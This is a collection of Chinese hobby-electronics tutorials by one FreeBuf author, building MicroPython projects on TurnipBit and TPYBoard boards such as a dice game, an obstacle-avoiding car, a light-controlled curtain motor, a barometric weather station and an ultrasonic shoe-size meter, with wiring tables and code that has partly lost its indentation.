*本文原创作者:bodasister,本文属于FreeBuf原创奖励计划,未经许可禁止转载

0×00 前言

今天带大家用TurnipBit开发板开发一款简单的小游戏-掷骰子。

0×01 实现过程

1.当我们按下板子上的按键A后,显示屏不停切换显示1-6之间的数,模拟骰子的滚动;

2.然后我们按下板子上的按键B,显示屏定住显示B按下时的数字。

0×02 开发步骤

打开我们的TurnipBit在线图形编辑器。

http://www.turnipbit.com/PythonEditor/editor.html#

1.我们创建一个变量用来存储显示的数字。

选择[变量]->[创建变量]->输入变量名num(可自拟)。

Clipboard Image.png

2.我们给num设置一个初始值1(num=1)。

选择[变量]->[赋值num到](默认值0)。

选择[数学]->,和[赋值num到]拼插起来,修改数值为1。

Clipboard Image.png3.根据上面的步骤,我们再创建一个新标量flag=1,它用来判断屏幕是不断切换数字显示,还是定住显示一个数字。

Clipboard Image.png

4.接下来我们写整个程序的主体,先放入一个循环,条件永远真,让程序一直运行。

选择[循坏]->[重复当[]执行]。

Clipboard Image.png选择[逻辑]->[真],与循环拼插对接起来。

Clipboard Image.png

5.在循坏体内添加执行的内容。逻辑判断flag的值。

选择[逻辑]->[如果xx执行xx]放到循坏体内。

Clipboard Image.png6.将判断条件[flag==1]添加到逻辑if判断体中。

Clipboard Image.png

7.[flag==1]为真时,给num赋值1-6的随机数并显示。

选择[变量]->[赋值num到xx]放到逻辑执行体中。

选择[数学]->[从1到100之间的随机整数],与[赋值num到xx]拼接起来,并修改为从1到6之间的随机数。

Clipboard Image.png

8.显示num的值。

在显示之前,我们先将显示内容清除。

选择[显示]->[清除显示内容] 放到逻辑执行体的下面与其对接。

Clipboard Image.png

选择[显示]->[显示图像]放到[清除显示内容]下面与其对接。

选择[变量]->[num],与[显示图像]拼插一起。

Clipboard Image.png

9.接下来我们来判断按键A是否被按下。

根据上面的步骤,添加1个逻辑判断块,在显示图像的下方与其对接。

Clipboard Image.png选择[按键]->[按键A被按下],放到刚才新添加的逻辑判断的条件中。

Clipboard Image.png当按键A被按下时,我们赋值flag=1,即不断的动态改变num的值并显示,相当于骰子正在滚动。

Clipboard Image.png10.根据上一步,我们再下方添加判断按键B是否被按下,赋值flag=0,即定住显示num的值,相当于骰子停住的那一刻。

Clipboard Image.png

11.接下来我们添加一个延时,不要让数字切换的那么快。

选择[TurnipBit]->[睡眠1000毫秒]放到显示图像的下面,内部数字修改为150。

Clipboard Image.png

12.基本的代码已构建完毕,大家先别急着下载hex执行,里面还有一个小问题需要解决。

大家可以看到代码区内的[display.show(num)]这句代码,display.show()方法内的参数必须是String(字符串)类型的变量,而我们的num是int类型的,需要转换。

图像编辑区没有提供类型转换的块,所以我们需要切换到代码编辑区,手动添加。

(注意:一旦切换到编辑区,将无法撤回到原先的图像逻辑区)

点击右上角菜单栏[可视化编程]。

将[display.show(num)]修改为[display.show(str(num))]:

Clipboard Image.png13.接下来下载hex文件到TurnipBit中,一起掷骰子吧。

*本文原创作者:bodasister,本文属于FreeBuf原创奖励计划,未经许可禁止转载

* 本文作者:bodasister,本文属FreeBuf原创奖励计划,未经许可禁止转载

1、什么是会思考的避障车?

在日常生活中,大家会经常见到各种各样的遥控车,它需要我们人为的操作,控制它的前进、后退和转弯。今天就带大家认识一个不一样的新朋友——会思考的避障车。

会思考的避障车和我们平时的遥控车最主要的区别就是智能化,它可以不需要我们去操控,自己就能行走。同时它还会实时检测前方是否有障碍物,思考自己是否要前进或者转弯。

听到这里,是不是已经跃跃欲试了呢。话不多说,动起手来吧!

2、 所需器材:

Ø  TurnipBit开发板 一块

Ø  下载数据线 一条

Ø  智能小车套件 一套(底盘、车轮、电机等)

Ø  超声波模块(HC-SR04)一个(用作小车的“眼睛”)

Ø  L298N电机驱动模块 一个

Ø  接入互联网的电脑 一台(推荐使用Google Chome或者Firefox浏览器

3  基础知识

3.1  电机

3.1.1电机的概念

电机(俗称“马达”)是指依据电磁感应定律实现电能转换或传递的一种电磁装置。电机在电路中是用字母M(旧标准用D)表示,它的主要作用是产生驱动转矩,作为用电器或各种机械的动力源,发电机在电路中用字母G表示,它的主要作用是利用电能转化为机械能。

3.1.2 电机的分类

    电机分类有很多种,我们常见的分类方式如下:

1、按工作电源种类划分:可分为直流电机和交流电机。

2、按结构和工作原理划分:可分为直流电动机、异步电动机、同步电动机。

3、按起动与运行方式划分:电容起动式单相异步电动机、电容运转式单相异步电动机、电容起动运转式单相异步电动机和分相式单相异步电动机。

4、按用途可划分:驱动用电动机和控制用电动机。

5、按转子的结构可划分:笼型感应电动机(旧标准称为鼠笼型异步电动机)和绕线转子感应电动机(旧标准称为绕线型异步电动机)。

6、按运转速度可划分:高速电动机、低速电动机、恒速电动机、调速电动机。

3.1.3 直流电机的概念及原理

直流电机是指能将直流电能转换成机械能(直流电动机)或将机械能转换成直流电能(直流发电机)的旋转电机。它是能实现直流电能和机械能互相转换的电机。当它作电动机运行时是直流电动机,将电能转换为机械能;作发电机运行时是直流发电机,将机械能转换为电能。

Clipboard Image.png

图 直流电机

直流电机的结构应由定子和转子两大部分组成。直流电机运行时静止不动的部分称为定子,定子的主要作用是产生磁场,由机座、主磁极、换向极、端盖、轴承和电刷装置等组成。运行时转动的部分称为转子,其主要作用是产生电磁转矩和感应电动势,是直流电机进行能量转换的枢纽,所以通常又称为电枢,由转轴、电枢铁心、电枢绕组、换向器和风扇等组成。

3.1.4 步进电机的概念及原理

与直流电机不同,步进电机是指能将电脉冲信号转变为角位移或线位移的开环控制电机。在非超载的情况下,电机的转速、停止的位置只取决于脉冲信号的频率和脉冲数,而不受负载变化的影响,当步进驱动器接收到一个脉冲信号,它就驱动步进电机按设定的方向转动一个固定的角度,称为“步距角”,它的旋转是以固定的角度一步一步运行的。可以通过控制脉冲个数来控制角位移量,从而达到准确定位的目的;同时可以通过控制脉冲频率来控制电机转动的速度和加速度,从而达到调速的目的。

Clipboard Image.png

图  步进电机

步进电机是一种可以自由回转的电磁铁,其动作原理是依靠气隙磁导的变化来产生电磁转矩。通常电机的转子为永磁体,当电流流过定子绕组时,定子绕组产生一矢量磁场。该磁场会带动转子旋转一角度,使得转子的一对磁场方向与定子的磁场方向一致。当定子的矢量磁场旋转一个角度。转子也随着该磁场转一个角度。每输入一个电脉冲,电动机转动一个角度前进一步。它输出的角位移与输入的脉冲数成正比、转速与脉冲频率成正比。改变绕组通电的顺序,电机就会反转。所以可用控制脉冲数量、频率及电动机各相绕组的通电顺序来控制步进电机的转动。

3.1.5 电机驱动模块

当使用单片机控制直流电机时需要增加驱动电路,用来提供足够的电流。H桥驱动电路是直流电机驱动电路中比较常见的一种电路,它主要实现直流电机的正、反两个方向的转动。

 Clipboard Image.png

桥电路

上图是H桥的简单电路,其形状类似于字母“H”,作为负载的直流电机像“桥”一样架在上面,所以称为“ H桥驱动”,4个开关所在的位置就称为“桥臂”。从图中可以看出,假设开关A D接通,电机正向转动,而开关BC接通时,直流电机将反向转动,从而实现了电机的正反控制。

L298NST公司生产的一种高电压,大电流的电机驱动芯片,是比较典型的H 桥驱动电路的体现,其主要特点是:(1)工作电压高,最高工作电压可达46V;(2 )输出电流大,瞬间峰值可达3A,持续工作电流为2A

它内含两个H桥的高电压大电流全桥式驱动器,可以用来驱动直流电机和步进电机、继电器线圈等感性负载;采用标准逻辑电平信号控制;具有两个用控制端,在不受输入信号影响的情况下允许或禁止器件工作有一个逻辑电源输入端,使内部逻辑电路部分在低电压下工作;可以外接检测电阻,将变化量反馈给控制电路。使用 L298N电机驱动模块可以同时驱动两台直流电机或一台两相步进电机和四相步进电机。

 

Clipboard Image.png

  L298N驱动模块

3.2.2  超声波传感器

超声波传感器是将超声波信号转换成其他能量信号(通常是电信号)的传感器。超声波是振动频率高于20KHz的机械波。它具有频率高、波长短、绕射现象小,特别是方向性好、能够成为射线而定向传播等特点。超声波对液体、固体的穿透本领很大,尤其是在阳光不透明的固体中。超声波碰到杂质或分界面会产生显著反射形成反射成回波,碰到活动物体能产生多普勒效应。

Clipboard Image.png

图  超声波传感器

超声波传感器主要通过发送超声波并接受超声波来对某些参数或事项进行检测。发送超声波由发送器部分完成,主要利用振子的振动产生并向空中辐射超声波;接收超声波由接收器部分完成,主要接受由发送器辐射出的超声波并将其转换为电能输出。除此之外,发送器与接收器的动作都受控制部分控制,如控制发送器发出超声波的脉冲连频率、占空比、探测距离等等。

本实验使用的超声波模块型号是HC-SR04,简单介绍一下超声波模块(HC-SR04)的工作原理:

l   IO口Trig引脚触发测距,给至少10us的高电平;

l   触发测距后,模块自动发送8个40kHz的方波,自动检测是否有信号返回;

l   当模块接收到引号返回后,通过IO口将Echo引脚置为高电平,高电平持续的时间就是超声波从发射到返回的时间,即测试距离=(高电平持续的时间*声速(340m/s)/2)。

3.3  避障车的组装

3.3.1 硬件器件

避障小车的硬件组成主要包括以下部分:

1、底盘1片

Clipboard Image.png

2、轮子 2个

Clipboard Image.png

3、测速码盘 2片

Clipboard Image.png

4、减速直流电机 2个

Clipboard Image.png

5、4节5号电池盒 1个

Clipboard Image.png

6、万向轮 1只

Clipboard Image.png

7、M3*30螺丝 4支

Clipboard Image.png

8、船形开关 1只

Clipboard Image.png

9、紧固件 4片

Clipboard Image.png

10、M3*6螺丝 8只

Clipboard Image.png

11、M3螺帽 8只

Clipboard Image.png

12、L12铜柱 4支

Clipboard Image.png

3.3.2 硬件安装步骤

第一步,先把小车底板、紧固件、码盘的黄色保护纸撕掉,然后把紧固件插入小车底板。

Clipboard Image.png

第二步,安装码盘,并把电机固定于底板。码盘轴心一面大一面小,大的一面往电机轴插(注意:电机引线铜片朝向内侧,即码盘一端)。

Clipboard Image.png

第三步,插入螺丝,把电机固定到小车底板,并拧上螺帽。

Clipboard Image.png

第四步,插入螺丝,固定电池盒。

Clipboard Image.png

第五步,放入铜柱,拧紧8个螺丝固定万向轮,手捏住电机(保护紧固件),并往里面 插入轮子,组装完成。

Clipboard Image.png

最后,我们来看一下组装完成的效果图。

Clipboard Image.png

3.3.3 电机驱动和超声波的安装

超声波模块共4个引脚,分别是VCC、GND、Trig和Echo。VCC接TurnipBit扩展板的+5V引脚,GND接TurnipBit扩展板的GND引脚,Trig触发引脚接P5,Echo回传引脚接P8。

L298N电机驱动模块左侧OUT3、OUT4接线端子对应接入左轮电机的下侧、上侧侧铜片,右侧也是。L298N的输入端IN1、IN2、IN3、IN4分别接入扩展板的P19、P13、P12、P11。

详细见下表:

TurnipBit扩展板 超声波模块 L298N
+5V VCC +12V、+5V
GND GND GND
P5 Trig  
P8 Echo  
P11   IN4
P12   IN3
P13   IN2
P19   IN1

Clipboard Image.png

Clipboard Image.png

3.4 程序设计

3.4.1 伪代码分析   

让我们先用伪代码来分析一下避障车的程序逻辑。首先,我们通过小车的超声波模块来检测前方是否存在障碍物,计算出与障碍物之间的距离。当与障碍物的距离小于或等于我们预设的安全距离时,控制小车进行转向避开障碍物;当与障碍物的距离大于我们预设的安全距离时,控制小车进行继续前进;逻辑顺序如下:

第一步,触犯超声波模块开始检测;

第二步:计算出与前方障碍物的距离;

第三步:判断与障碍物的距离是否小于设定的安全距离;

第四步:若小于或等于则进行转向,避开障碍物;

第五步:若大于则继续保持前进。

根据伪代码,画成流程图如下:

Clipboard Image.png 

3.4.2 拼插编程

步骤1让避障车开始向前走,如下图。 

Clipboard Image.png

步骤2添加一个死循环,使程序一直运行,如下图。

Clipboard Image.png

步骤3接下来就需要完成检测障碍物的功能,这部分需要超声波模块来实现。我们需要在死循环内添加障碍物检测的内容,让避障车一直不断的检测与前方障碍物的距离。如下图。

Clipboard Image.png

步骤4为了更简单、方便、快捷的实现功能,我们采用计数的方式,测量一个大概的距离,然后进行判定是否进行避障。细心的同学可能会发现我们在程序一开始的时候定义了一个num的变量,我们就用num来计数。当引脚8为高电平时,我们就不断的让num自加1,一直等到引脚8为低电平时再停止计数。大家可以先进行测试,设定一个安全距离观察num的数值。 我设定了大约25cm的距离,num的数值为8。那么,我就在程序中判断如果num的值小于或等于8时,就进行转向避障。如下图。

Clipboard Image.png

步骤5到此,会思考的避障车已经完成了。为了让避障车更加炫酷,我们可以使用LED屏来动态显示当前避障车行驶的方向。最后,整体的拼插代码如下图:

Clipboard Image.png

Clipboard Image.png

步骤6将程序名修改成turnipbit-car,点击【下载hex】按钮将程序保存到电脑里。

Clipboard Image.png

把保存的turnipbit- car.hex文件拖入TurnipBit磁盘中,我们会看到TurnipBit板子上的灯在闪烁,说明正在下载到控制板中。

下载成功后,将TurnipBit正确插入TurnipBit扩展板的金手指卡槽内,开始启动避障车吧。

3.4.3 代码分析

会思考的避障车整体代码,可参考右侧代码显示区,如下。

from microbit import *

display.show(Image.ARROW_N)
                
                
pin11.write_digital(0)
                
                
pin12.write_digital(1)
                
                
pin13.write_digital(0)
                
                
pin19.write_digital(1)
                
                
while True:
                
                
num = 0
                
                
pin5.write_digital(0)
                
                
pin5.write_digital(1)
                
                
sleep(0.01)
                
                
if pin8.read_digital() != True:
                
                
pin5.write_digital(0)
                
                
pin5.write_digital(1)
                
                
sleep(0.01)
                
                
while pin8.read_digital():
                
                
num = num + 1
                
                
if num <= 8:
                
                
display.show(Image.ARROW_W)
                
                
pin11.write_digital(1)
                
                
pin12.write_digital(0)
                
                
pin13.write_digital(0)
                
                
pin19.write_digital(1)
                
                
sleep(1000)
                
                
display.show(Image.ARROW_N)
                
                
pin11.write_digital(0)
                
                
pin12.write_digital(1)
                
                
pin13.write_digital(0)
                
                
                
pin19.write_digital(1)

接下来,我们一起来分析一下代码。

通过上面的代码,不难发现,控制避障车前进的代码部分我们重复编写了两遍,在实际项目中这种写法是不合理的。为了让代码更加简洁,优雅,我们将控制前进的代码部分提取出来建立名称为Go()的函数,在需要执行前进的地方直接调用Go()函数即可。

按照同样的方式,我们将控制转向和检测障碍物的代码分别建立Turn()和Detection()函数。

from microbit import *

def Go():

display.show(Image.ARROW_N)

pin11.write_digital(0)

pin12.write_digital(1)

pin13.write_digital(0)

pin19.write_digital(1)

def Turn():

display.show(Image.ARROW_W)

pin11.write_digital(1)

pin12.write_digital(0)

pin13.write_digital(0)

pin19.write_digital(1)

def Detection():

num=0

pin5.write_digital(0)

pin5.write_digital(1)

sleep(0.01)

if pin8.read_digital() != True:

pin5.write_digital(0)

pin5.write_digital(1)

sleep(0.01)

while pin8.read_digital():

num = num + 1

return num

Go()

while True:

num = Detection()

if num <= 8:

Turn()

sleep(1000)

Go()

* 本文作者:bodasister,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、准备工作

TurnipBit 开发板 一块

下载数据线 一条

微型步进电机(28BYJ-48) 一个

步进电机驱动板(ULN2003APG) 一块

光敏传感器 一个

TurnipBit 扩展板 一块

接入网络的电脑 一台

在线可视化编程器

二、步进电机的介绍

本次实验采用的是28BYJ-48 四相八拍电机,电压DC5V~12V。

24BYJ48名称的含义:

24:电机外径24mm

B:步进电机中步字的拼音首字母

Y:永磁中永字的拼音首字母

J:减速的减字拼音首字母

48:四相8步

实物图

1.jpg

工作原理

步进电机是将电脉冲信号转变为角位移或线位移的开环控制电机,是现代数字程序控制系统中的主要执行元件,应用极为广泛。在非超载的情况下,电机的转速、停止的位置只取决于脉冲信号的频率和脉冲数,而不受负载变化的影响,当步进驱动器接收到一个脉冲信号,它就驱动步进电机按设定的方向转动一个固定的角度,称为“步距角”,它的旋转是以固定的角度一步一步运行的。可以通过控制脉冲个数来控制角位移量,从而达到准确定位的目的;同时可以通过控制脉冲频率来控制电机转动的速度和加速度,从而达到调速的目的。

28BYJ-48 步进电机参数表

2.png

上表中启动频率≥550 P.P.S(每秒脉冲数),意思是要想正常启动,需要单片机每秒至少给出550个步进脉冲。那么每一节拍需要持续的时间就是1S/550≈1.8ms,所以控制节拍刷新的速率应大约1.8ms。

驱动原理

当连续不断的给电机发送控制脉冲时,电机就会不断的转动。每一个脉冲信号对应步进电机的某一相或两相绕组的通电状态改变一次,对应转子就会转过一定的角度(步距角)。当通电状态的改变完成一个循环时,转子转过一个齿距。

四相步进电机可以在不同的通电方式下运行,常见的通电方式:

四拍(单相绕组通电):A-B-C-D-A…

双四拍(双相绕组通电):AB-BC-CD-DA-AB-…

八拍: A-AB-B-BC-C-CD-D-DA-A…

3.gif

三、器件的连接

1、将步进电机白色接头插到驱动板对应的座子上。

2、TurnipBit对应插入扩展板,记住带有LED灯和按键的一面朝向扩展板带有针脚的一侧。

3、将驱动板与TurnipBit扩展板连接起来。接线图如下:

4、将光敏传感器与TurnipBit扩展板连接起来。接线图如下:

4.png

四、开始编程

1、之前的教程一直都是使用拖拽可视化编程,这种方式可以快速让零基础小伙伴入门,但是在实际项目或工作中,还是要直接敲代码的。今天就给大家介绍一下TurnipBit的可视化编程器的另一项功能–代码编程。

之前看过编程的小伙伴,不难发现,一打开编辑器首先进入的就是代码编程器界面。如下图:

2、接下来用代码实现对步进电机的控制和光照数据的采集。

当光照变弱时,步进电机顺时针旋转一周,模拟关闭窗帘的操作;

当光照变强时,步进电机逆时针旋转一周,模拟打开窗帘的操作;

完成源代码:

# 在这里添加Python代码
from microbit import *
  Pin_All=[pin5,pin8,pin11,pin12]
  #转速(ms) 数值越大转速越慢 最小值1.8ms
speed=5
  STEPER_ROUND=512 #转动一圈(360度)的周期
ANGLE_PER_ROUND=STEPER_ROUND/360 #转动1度的周期
  isOpen=False#表示窗帘的状态 True:打开 False:关闭
  def SteperWriteData(data):
    count=0
    for i in data:
        Pin_All[count].write_digital(i)
        count+=1
def SteperFrontTurn():
    global speed
    SteperWriteData([1,1,0,0])
    sleep(speed)
      SteperWriteData([0,1,1,0])
    sleep(speed)
      SteperWriteData([0,0,1,1])
    sleep(speed)
    SteperWriteData([1,0,0,1])  
    sleep(speed)
def SteperBackTurn():
    global speed
    SteperWriteData([1,1,0,0])
    sleep(speed)
    SteperWriteData([1,0,0,1])  
    sleep(speed)
    SteperWriteData([0,0,1,1])
    sleep(speed)
      SteperWriteData([0,1,1,0])
    sleep(speed)
  def SteperStop():
    SteperWriteData([0,0,0,0])
def SteperRun(angle):
    global ANGLE_PER_ROUND
      val=ANGLE_PER_ROUND*abs(angle)
    if(angle>0):
        for i in range(0,val):
            SteperFrontTurn()
    else:
        for i in range(0,val):
            SteperBackTurn()
    SteperStop()
while True:
    light=pin0.read_analog()#读取光敏传感器传递过来的模拟量数据
    #数值越大说明光照度越小
    if light>400:
        if isOpen:
            isOpen=False
            SteperRun(-360)#光照小于设定的值,关闭窗帘
    else:
        if isOpen==False:
            isOpen=True
            SteperRun(360)#光照大于设定的值,打开窗帘

* 本文作者:bodasister,转载注明来自FreeBuf.COM

众所周知,iPhone6/6Plus内置气压传感器,不过大家对于气压传感器还是很陌生。跟字面的意思一样,气压传感器就是用来测量气压的,但测量气压对于普通的手机用户来说又有什么作用呢?

海拔高度测量

对于喜欢登山的人来说,会非常关心自己所处的高度。海拔高度的测量方法,一般常用的有2种方式,一是通过GPS全球定位系统,二是通过测出大气压,然后根据气压值计算出海拔高度。由于受到技术和其它方面原因的限制,GPS计算海拔高度一般误差都会有十米左右,而如果在树林里或者是在悬崖下面时,有时候甚至接收不到GPS卫星信号。而气压的方式可选择的范围会广些,而且可以把成本控制的比较低。在手机原有GPS的基础上再增加气压传感器的功能,可让三维定位更加精准。

最近发现一块好玩的开发板——TPYBoardv702,这个板子可以定位、发短信、打电话,并且板载温湿度传感器、光敏传感器以及蜂鸣器,可以DIY很多有趣的东西,下面我们可以用这个板子加一个气压传感器来做一个小型气象站,来张实物图:

TPYBoardv702

定位功能我就不多说了,如果需要的话可以私聊。

那么我们利用这块板子跟BMP180气压传感器来做一个小型家庭气象站,来检测当地温度以及当地气压与海拔,如果想做更好玩的东西,可以接其他传感器或者加个继电器来控制其他设备。

BMP180是一直常见的气压传感器,BMP180是一款高精度、小体积、超低能耗的压力传感器,可以应用在移动设备中,它的性能卓越,精度最低可以达到0.03hPa,并且耗电极低,只有3μA;BMP180采用强大的8-pin陶瓷无引线芯片承载(LCC)超薄封装,可以通过I2C总线直接与各种微处理器相连。

硬件接线图

TPYBoard v702         BMP180
3.3V VIN
GND GND
Y9 SCL
Y10 SDA

效果展示图

连接完毕后,将font.py,upcd8544.py与bmp180的库导入,就可以通过以下方法分别读取温度、气压、海拔高度了。

源代码

oot.py,upcd8544.py库的下载地址

http://www.tpyboard.com/support/studyexample14/206.html

导入需要的类库,编辑好main.py,直接运行就ok了,下面是main.py的程序源码

# main.py -- put your code here!

import pyb

import upcd8544

from machine import SPI,Pin

from ubinascii import hexlify

from ubinascii import *

from bmp180 import BMP180

bmp=BMP180(2)

SPI = pyb.SPI(1) #DIN=>X8-MOSI/CLK=>X6-SCK

#DIN =>SPI(1).MOSI 'X8' data flow (Master out, Slave in)

#CLK =>SPI(1).SCK  'X6' SPI clock

RST    = pyb.Pin('X20')

CE     = pyb.Pin('X19')

DC     = pyb.Pin('X18')

LIGHT  = pyb.Pin('X17')

lcd_5110 = upcd8544.PCD8544(SPI, RST, CE, DC, LIGHT)

while True:

       tem=bmp.getTemp()

       press=bmp.getPress()

       altitude=bmp.getAltitude()

       lcd_5110.lcd_write_string('Tem:',0,0)

       lcd_5110.lcd_write_string(str(tem),0,1)

       lcd_5110.lcd_write_string('C',65,1)

       lcd_5110.lcd_write_string('Press:',0,2)

       lcd_5110.lcd_write_string(str(press),0,3)

       lcd_5110.lcd_write_string('Pa',65,3)      

       lcd_5110.lcd_write_string('Hight:',0,4)

       lcd_5110.lcd_write_string(str(altitude),0,5)

       lcd_5110.lcd_write_string('M',65,5)

bmp180.py库的源码

import pyb

from pyb import I2C

BMP180_I2C_ADDR = const(0x77)

class BMP180():

    def __init__(self, i2c_num):

        self.i2c = I2C(i2c_num, I2C.MASTER, baudrate = 100000)

        self.AC1 = self.short(self.get2Reg(0xAA))

        self.AC2 = self.short(self.get2Reg(0xAC))

        self.AC3 = self.short(self.get2Reg(0xAE))

        self.AC4 = self.get2Reg(0xB0)

        self.AC5 = self.get2Reg(0xB2)

        self.AC6 = self.get2Reg(0xB4)

        self.B1 = self.short(self.get2Reg(0xB6))

        self.B2 = self.short(self.get2Reg(0xB8))

        self.MB = self.short(self.get2Reg(0xBA))

        self.MC = self.short(self.get2Reg(0xBC))

        self.MD = self.short(self.get2Reg(0xBE))

        self.UT = 0

        self.UP = 0

        self.B3 = 0

        self.B4 = 0

        self.B5 = 0

        self.B6 = 0

        self.B7 = 0

        self.X1 = 0

        self.X2 = 0

        self.X3 = 0

    def short(self, dat):

        if dat > 32767:

            return dat - 65536

        else:

            return dat

    def setReg(self, dat, reg):

        buf = bytearray(2)

        buf[0] = reg

        buf[1] = dat

        self.i2c.send(buf, BMP180_I2C_ADDR)

    def getReg(self, reg):

        buf = bytearray(1)

        buf[0] = reg

        self.i2c.send(buf, BMP180_I2C_ADDR)

        t = self.i2c.recv(1, BMP180_I2C_ADDR)

        return t[0]

    def get2Reg(self, reg):

        a = self.getReg(reg)

        b = self.getReg(reg + 1)

        return a*256 + b

    def measure(self):

        self.setReg(0x2E, 0xF4)

        pyb.delay(5)

        self.UT = self.get2Reg(0xF6)

        self.setReg(0x34, 0xF4)

        pyb.delay(5)

        self.UP = self.get2Reg(0xF6)

    def getTemp(self):

        self.measure()

        self.X1 = (self.UT - self.AC6) * self.AC5/(1<<15)

        self.X2 = self.MC * (1<<11) / (self.X1 + self.MD)

        self.B5 = self.X1 + self.X2

        return (self.B5 + 8)/160

    def getPress(self):

        self.getTemp()

        self.B6 = self.B5 - 4000

        self.X1 = (self.B2 * (self.B6*self.B6/(1<<12))) / (1<<11)

        self.X2 = (self.AC2 * self.B6)/(1<<11)

        self.X3 = self.X1 + self.X2

        self.B3 = ((self.AC1*4+self.X3) + 2)/4

        self.X1 = self.AC3 * self.B6 / (1<<13)

        self.X2 = (self.B1 * (self.B6*self.B6/(1<<12))) / (1<<16)

        self.X3 = (self.X1 + self.X2 + 2)/4

        self.B4 = self.AC4 * (self.X3 + 32768)/(1<<15)

        self.B7 = (self.UP-self.B3) * 50000

        if self.B7 < 0x80000000:

            p = (self.B7*2)/self.B4

        else:

            p = (self.B7/self.B4) * 2

        self.X1 = (p/(1<<8))*(p/(1<<8))

        self.X1 = (self.X1 * 3038)/(1<<16)

        self.X2 = (-7357*p)/(1<<16)

        p = p + (self.X1 + self.X2 + 3791)/16

        return p

    def getAltitude(self):

        p = self.getPress()

        return (44330*(1-(p/101325)**(1/5.255)))

    def get(self):

        t = []

        t.append(self.getPress())

        t.append(self.getAltitude())

        t.append(self.getTemp())

        return t

*本文作者:bodasister,转载请注明来自FreeBuf.COM

*本文原创作者:bodasister,本文属FreeBuf原创奖励计划,未经许可禁止转载

智能小车现在差不多是电子竞赛或者DIY中的主流了,寻迹,壁障,遥控什么的,相信大家也都见得很多了,这次就大家探讨一下防坠落小车的制作方法,不同于以往的是这次的程序不用C语言写,而是要使用python语言写。

下面给大家看一下视频演示:

实验目的

研究智能小车结合红外探头寻迹前进。

实验材料

TPYBoard开发板1块(能跑python语言的开发板,小车的大脑)

四路红外感应探头(小车的眼睛)

数据线一根

充电宝一个(给整个系统供电)

智能小车底盘(包括驱动模块)

杜邦线若干

1. TPYBoard v102开发板

MicroPython是在单片机上可以跑的Python,也就是说,你可以通过Python脚本语言开发单片机程序。 由剑桥大学的理论物理学家乔治·达明设计。和Arduino类似,但Micro Python更强大。 MicroPython开发板让你可以通过Python代码轻松控制微控制器的各种外设,比如LED等,读取管脚电压,播放歌曲,和其他设备联网等等。TPYBoard是TurnipSmart公司制作的一款MicroPython开发板,这款开发板运行很流畅,关键是价格很便宜。

2. 四路红外感应探头

1、当模块检测到前方障碍物信号时,电路板上红色指示灯点亮,同时OUT端口持续输出低电平信号,该模块检测距离2~60cm,检测角度35°,检测距离可以通过电位器进行调节,顺时针调电位器,检测距离增加;逆时针调电位器,检测距离减少。 2、传感器属于红外线反射探测,因此目标的反射率和形状是探测距离的关键。其中黑色探测距离最小,白色最大;小面积物体距离小,大面积距离大。 3、 传感器模块输出端口OUT可直接与单片机IO口连接即可, 也可以直接驱动一个5V继电器模块或者蜂鸣器模块;连接方式: VCC-VCC;GND-GND;OUT-IO。 4、比较器采用LM339,工作稳定; 5、可采用3.3V-5V直流电源对模块进行供电。当电源接通时, 绿色电源指示灯点亮。

3. 智能小车底盘

双电机驱动,万向轮改变方向。这是实验中最常用到的小车底盘,使用差速的方法进行转弯。配合使用L298N电机驱动模块,使用方法很简单,不多做介绍。

寻迹原理

1. 红外探头的安装

小车寻迹的原理其实就光的吸收,反射和散射。在小车的前端有安装孔,使用螺丝把红外传感器固定在安装孔上。保持发射端和接收端都保持竖直向下。

2. 返回信号的判断

在上面已经说了,红外探头在检测到物体存在的时候,在OUT端会持续的输出低电平。那么调节调距电阻,调节到一个适合的检测距离。在小车行驶路面检测到物体的时候,说明是前面是有路的,不是悬空的。那么小车 保持直行。如果前方检测到没有返回,没返回说明没有检测到物体,妈就说明前面是没有路的,是悬空的,那么小车就先进行后退,在进行右转(也可以左转,也可以一次右转一次左转,这个比较随意。)。

硬件接线

接线其实很简单四路红外探头接线很简单,虽然有十八根线,但是有十二根是三根三根的分成四组的,对应着很好接线,剩下的六根,VCC和GND不多说了,还有四根是直接接到单片结IO口上就可以的。L298N的接线更简单了,这里不多介绍。 上个简单的帮助理解的原理图 (其实我们做实验都是插线,不做PCB图和原理图的)。

Image

再上个实物图给大家看看

Image

运行与调试

制作完成后,剩下的就是该调试了,调试中应该注意细节和小车稳定性的优化。

代码编写

再把我写的程序给大家看一下,有需要的可以看一下。

源代码:

import pyb

from pyb import UART

from pyb import Pin

M0 = Pin('X1', Pin.IN)

M1 = Pin('X2', Pin.IN)

M2 = Pin('X3', Pin.IN)

M3 = Pin('X4', Pin.IN)

N1 = Pin('Y1', Pin.OUT_PP)

N2 = Pin('Y2', Pin.OUT_PP)

N3 = Pin('Y3', Pin.OUT_PP)

N4 = Pin('Y4', Pin.OUT_PP)

print('while')

while True:

        print('while')

        if(M2.value()|M1.value()|M3.value()|M0.value()==0):

                N1.low()

                N2.high()

                N4.high()

                N3.low()

                pyb.LED(2).on()

                pyb.LED(3).off()

        elif(M2.value()|M1.value()|M3.value()|M0.value()==1):

                N1.high()

                N2.low()

                N4.low()

                N3.high()

                pyb.delay(300)

                N1.low()

                N2.high()

                N3.high()

                N4.low()

                pyb.delay(200)

                pyb.LED(3).on()

                pyb.LED(2).off()

*本文原创作者:bodasister,本文属FreeBuf原创奖励计划,未经许可禁止转载

非常简单的小制作,适合新手以及初学者 入门学习,也请各位大神多多指点。自己测了下稍微有些偏差,显示鞋码比我实际鞋码大了一号,各位大大有没有意见我改正下。下面是具体的制作过程和代码。

1.原理

鞋码匹配仪,利用超声波测距的原理。通过使用超声波遇到障碍返回的特性,计算超声波放出与返回的时间计算来测定障碍与超声波模块的距离。

鞋码匹配仪的固有大小已知,在脚放入时,大小会发生改变 使用已知距离对改变后的距离做差获得脚的尺寸,再通过尺寸与距离的转换得到正确的鞋码(此处使用标准鞋码)。

2. 所需元器件(某宝能买到 挺便宜的)

· 超声波模块 1个

· TPYBoard v102板子 1块

· 四位数码管 1个

· micro USB数据线 1条

· 杜邦线 若干

3. 超声波模块工作原理

(1) 采用IO口TRIG触发测距,给最少10us的高电平信号。

(2) 模块自动发送 8 个 40khz 的方波,自动检测是否有信号返回。

(3) 有信号返回,通过 IO 口 ECHO 输出一个高电平,高电平持续的时间就是超声波从发射到返回的时间。测试距离=(高电平时间*声速(340M/S))/2。

如下图接线,VCC 供 5V电源, GND 为地线,TRIG 触发控制信号输入,ECHO 回响信号输出等四个接口端。

ZFUP%6FF)`@_]UJ`7%3$PR2.jpg

4. 控制四位数码管显示数字

HEETNC4TOCMKJU21}T35}D5.pngC2KE}9N~JHJMPCHZ6)%}MBX.png

